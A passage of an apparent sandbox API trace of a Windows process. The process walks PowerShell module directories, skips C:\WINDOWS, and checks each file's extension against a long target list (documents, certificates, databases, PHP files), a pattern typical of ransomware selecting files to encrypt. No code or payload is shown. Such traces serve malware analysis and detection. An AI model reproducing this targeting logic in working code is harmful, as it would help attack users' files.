lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".mrw") returned 4 [0193.207] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".msg") returned 4 [0193.207] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".mxl") returned 4 [0193.207] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".myd") returned 4 [0193.207] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".myi") returned 4 [0193.207] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".nef") returned 4 [0193.207] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".nrw") returned 4 [0193.207] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".obj") returned 4 [0193.207] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".odb") returned 4 [0193.207] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".odc") returned 4 [0193.207] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".odm") returned 4 [0193.207] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".odp") returned 4 [0193.207] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".ods") returned 4 [0193.208] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".oft") returned 4 [0193.208] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".one") returned 4 [0193.208] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".onepkg") returned 7 [0193.208] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1 [0193.208] lstrlenW (lpString=".onetoc2") returned 8 [0193.208] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1 [0193.208] lstrlenW (lpString=".opt") returned 4 [0193.208] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".oqy") returned 4 [0193.208] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".orf") returned 4 [0193.208] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".p12") returned 4 [0193.208] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".p7b") returned 4 [0193.208] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".p7c") returned 4 [0193.208] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".pam") returned 4 [0193.208] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".pbm") returned 4 [0193.208] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".pct") returned 4 [0193.208] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1 [0193.208] lstrlenW (lpString=".pcx") returned 4 [0193.208] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pdd") returned 4 [0193.209] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pdf") returned 4 [0193.209] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pdp") returned 4 [0193.209] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pef") returned 4 [0193.209] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pem") returned 4 [0193.209] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pff") returned 4 [0193.209] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pfm") returned 4 [0193.209] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pfx") returned 4 [0193.209] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".pgm") returned 4 [0193.209] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".php") returned 4 [0193.209] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1 [0193.209] lstrlenW (lpString=".php3") returned 5 [0193.209] lstrcmpiW (lpString1=".php3", lpString2="s.ps1") returned -1 [0193.209] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.210] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0193.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.210] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.210] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0193.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.210] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0193.210] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0193.210] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0193.210] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0193.211] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0193.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0193.211] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0193.211] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0193.211] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0193.211] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.212] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1 [0193.212] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.212] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.212] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.212] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0193.214] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.214] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.214] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.214] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0193.214] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.214] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.214] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.214] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0193.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.215] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.215] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0193.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.215] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.215] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0193.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0193.215] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0193.215] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.215] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531740 [0193.216] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.216] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.216] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.216] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.216] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.216] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.216] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 155 [0193.216] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 1 [0193.216] lstrlenW (lpString="Simple") returned 6 [0193.216] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Simple") returned -1 [0193.216] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.217] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 155 [0193.217] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0193.217] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.218] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.218] lstrlenW (lpString="Example3B.Diagnostics.Tests.ps1") returned 31 [0193.218] lstrlenW (lpString=".1cd") returned 4 [0193.218] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1 [0193.218] lstrlenW (lpString=".3ds") returned 4 [0193.218] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1 [0193.218] lstrlenW (lpString=".3fr") returned 4 [0193.218] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1 [0193.218] lstrlenW (lpString=".3g2") returned 4 [0193.218] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") 